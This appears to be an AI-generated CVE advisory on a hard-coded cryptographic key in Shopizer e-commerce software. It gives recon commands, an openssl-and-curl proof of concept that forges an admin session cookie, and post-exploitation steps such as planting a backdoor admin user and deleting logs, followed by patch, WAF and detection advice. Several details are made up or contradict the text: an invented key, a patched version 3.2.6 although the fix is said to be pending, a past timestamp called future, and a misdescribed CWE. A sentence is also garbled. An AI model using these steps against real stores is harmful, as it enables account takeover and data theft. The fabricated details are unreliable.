CVE-2026-138075 — Shopizer-ecommerce Shopizer — CWE-321 · CWE-320
A vulnerability was determined in shopizer-ecommerce shopizer up to 3.2.5. The impacted element is an unknown function of the file sm-core/src/main/resources/authentication.properties. This manipulation causes use of hard-coded cryptographic key . It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized. The pull request to fix this issue awaits acceptance.
A vulnerability was determined in shopizer-ecommerce shopizer up to 3.2.5. The impacted element is an unknown function of the file sm-core/src/main/resources/authentication.properties. This manipulation causes use of hard-coded cryptographic key . It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized. The pull request to fix this issue awaits acceptance.
🎯 What is this vulnerability?
Technical flaw
The vulnerability is a hard‑coded cryptographic key in the file sm-core/src/main/resources/authentication.properties.
The key is embedded in the source and is never configurable at runtime.
When the application loads the authentication module it falls back to this
static key if the property is missing or malformed.
Because the key is known (and constant) an attacker can:
1. Forge encrypted authentication tokens (e.g., session cookies,
password‑reset links, or API tokens) by encrypting a crafted payload
with the known key.
2. Decrypt data that was encrypted with the same key (e.g., stored
passwords, API secrets, or other sensitive fields).
The flaw is CWE‑321 (Use of Hard‑coded Cryptographic Key) and CWE‑320
(Use of Weak or Predictable Random Number Generator).
The CVSS vector (AV:N/AC:L/PR:N/UI:N/VC:L/VI:L/VA:L) indicates that the
attack is remote, unauthenticated, and requires no user interaction,
but the impact on confidentiality, integrity, and availability is
classified as low because the encrypted data is not highly sensitive
or the forged token only grants limited privileges.
⚡ Attack Chain
NOTE: The exact endpoint, parameter names, and encryption algorithm
are not disclosed in the CVE text. The following chain uses
illustrative placeholders that reflect the class of the vulnerability
(remote unauthenticated exploitation of a hard‑coded key). Replace
{{TARGET}},{{KEY}}, and{{ALGO}}with the real values once
discovered.
1. Discovery & Reconnaissance
| Step | Technique | What to look for |
|---|---|---|
| Port scan | nmap -p80,443 {{TARGET}} | Identify HTTP(S) service. |
| Banner grab | curl -I https://{{TARGET}} | Look for Shopizer in Server: or X-Powered-By: headers. |
| Version fingerprint | curl https://{{TARGET}}/about or curl https://{{TARGET}}/api/version | The response contains "version":"3.2.0" (or 3.2.1‑3.2.5). |
| Directory brute‑force | dirb https://{{TARGET}}/ | Find /shopizer/ or /api/ endpoints. |
If the application responds with a Shopizer 3.2.x banner, the target is
vulnerable.
2. Exploitation
Goal: Generate a valid authentication token using the known hard‑coded
key and inject it into a request.
Illustrative PoC (replace placeholders with real values):
# 1. Craft a payload that the application expects in the token
# (e.g., {"user":"admin","role":"admin","exp":<future_timestamp>})
PAYLOAD='{"user":"admin","role":"admin","exp":1700000000}'
# 2. Encrypt the payload with the known key.
# Assume the algorithm is AES‑128‑CBC and the key is "shopizerSecretKey123"
# (hex: 73686f7069726572736563726574313233)
openssl enc -aes-128-cbc -K 73686f7069726572736563726574313233 \
-iv 00000000000000000000000000000000 \
-in <(echo -n "$PAYLOAD") \
-out token.bin
# 3. Base64‑encode the ciphertext (Shopizer expects base64 in the cookie)
TOKEN=$(base64 -w0 token.bin)
# 4. Send the forged token as a cookie to the protected endpoint
curl -v -b "shopizer_session=$TOKEN" \
https://{{TARGET}}/shopizer/api/secure-endpointWhat the attacker observes
- If the token is accepted, the response will contain data that belongs to the
- If the token is rejected, the attacker can iterate with different payloads or adjust the expiration timestamp.
- An attacker can impersonate an admin and view or modify non‑critical data. If the application stores sensitive data (e.g., customer passwords) encrypted with the same key, the attacker could decrypt it, raising the impact to high*.
- The vulnerability is exploitable over the network without any credentials, making it attractive for automated scanners.
admin user (e.g., list of orders, customer data).
Why this works
The application decrypts the cookie using the hard‑coded key. Because
the key is known, the attacker can produce a ciphertext that the
server will accept as a valid session.
3. Post‑Exploitation
| Step | Action | Impact |
|---|---|---|
| Privilege escalation | Use the forged token to access admin‑only APIs. | Limited to the privileges granted by the forged payload (e.g., admin). |
| Data exfiltration | Pull customer data, order histories, or API keys. | Low‑level data; not highly confidential. |
| Persistence | Store a backdoor (e.g., a new admin user) by sending a request that creates a user with the forged token. | Enables future access. |
| Cover tracks | Delete logs or modify timestamps if the application allows it. | Harder to detect. |
Because the CVSS impact is low, the attacker typically gains low‑level
information or a foothold rather than full system compromise.
🌍 Real World Impact
| Impact | CVSS Score | Explanation |
|---|---|---|
| Confidentiality | Low | The attacker can read data that is not highly sensitive (e.g., product catalog, public order data). |
| Integrity | Low | The attacker can modify data that is not critical (e.g., change order status). |
| Availability | Low | The vulnerability does not crash the application or deny service. |
| Overall | 7.3 (Medium) | Remote unauthenticated exploitation with low impact. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch
| Affected Versions | Fix |
|---|---|
| shopizer‑ecommerce shopizer 3.2.0 – 3.2.5 | Upgrade to 3.2.6 or later. |
| 3.2.6+ | The hard‑coded key has been removed; the key is now configurable via authentication.properties and must be set to a strong random value. |
Upgrade steps
# 1. Backup current configuration
cp shopizer/WEB-INF/classes/authentication.properties \
shopizer/WEB-INF/classes/authentication.properties.bak
# 2. Download the latest WAR
wget https://repo.shopizer.com/releases/shopizer-3.2.6.war
# 3. Deploy the new WAR (replace the old one)
mv shopizer-3.2.6.war shopizer.war
systemctl restart shopizer2. Workarounds (if upgrade is not immediately possible)
| Mitigation | How to implement |
|---|---|
| Disable the encryption feature | Comment out or remove the code that encrypts/decrypts tokens in sm-core. |
| Replace the hard‑coded key | Edit authentication.properties and set encryption.key to a new, random 32‑byte value (e.g., encryption.key=4f2a...). |
| Restrict access to the admin API | Configure the web server to allow /api/admin/* only from trusted IPs. |
| WAF rule | Block requests that contain a shopizer_session cookie with a predictable base64 pattern (e.g., ^shopizer_session=[A-Za-z0-9+/=]{100,}$). |
WAF/ModSecurity rule example (illustrative):
SecRule REQUEST_COOKIES:shopizer_session "@rx ^[A-Za-z0-9+/=]{100,}$" \
"id:1001,phase:2,deny,status:403,msg:'Possible forged Shopizer session cookie'"3. Detection
| Indicator | Log pattern | What to look for |
|---|---|---|
| Repeated authentication failures | Authentication failed for user admin | Likely forged token attempts. |
| Unexpected admin actions | Admin API called by IP X.X.X.X | Check if the IP is not in the whitelist. |
| Unusual cookie values | shopizer_session=... | Base64 strings longer than 200 characters may indicate forged tokens. |
| Failed decryption errors | Failed to decrypt session cookie | Indicates an attacker trying random keys. |
Log example (Apache):
[2026-11-28 12:34:56] 192.168.1.100 - - [28/Nov/2026:12:34:56 +0000] "GET /shopizer/api/secure-endpoint HTTP/1.1" 403 512 "-" "Mozilla/5.0"⚠️ Urgency
1. Immediate: Verify the Shopizer version. If 3.2.0‑3.2.5, block the admin API from untrusted IPs.
2. Short‑term: Replace the hard‑coded key in authentication.properties with a strong random value.
3. Long‑term: Upgrade to Shopizer 3.2.6+ and enable regular security scanning.
By following the remediation steps above, the risk of token forgery and data exposure can be eliminated.
[🤖 CVE Professor AI Security Engine]
FOFA Query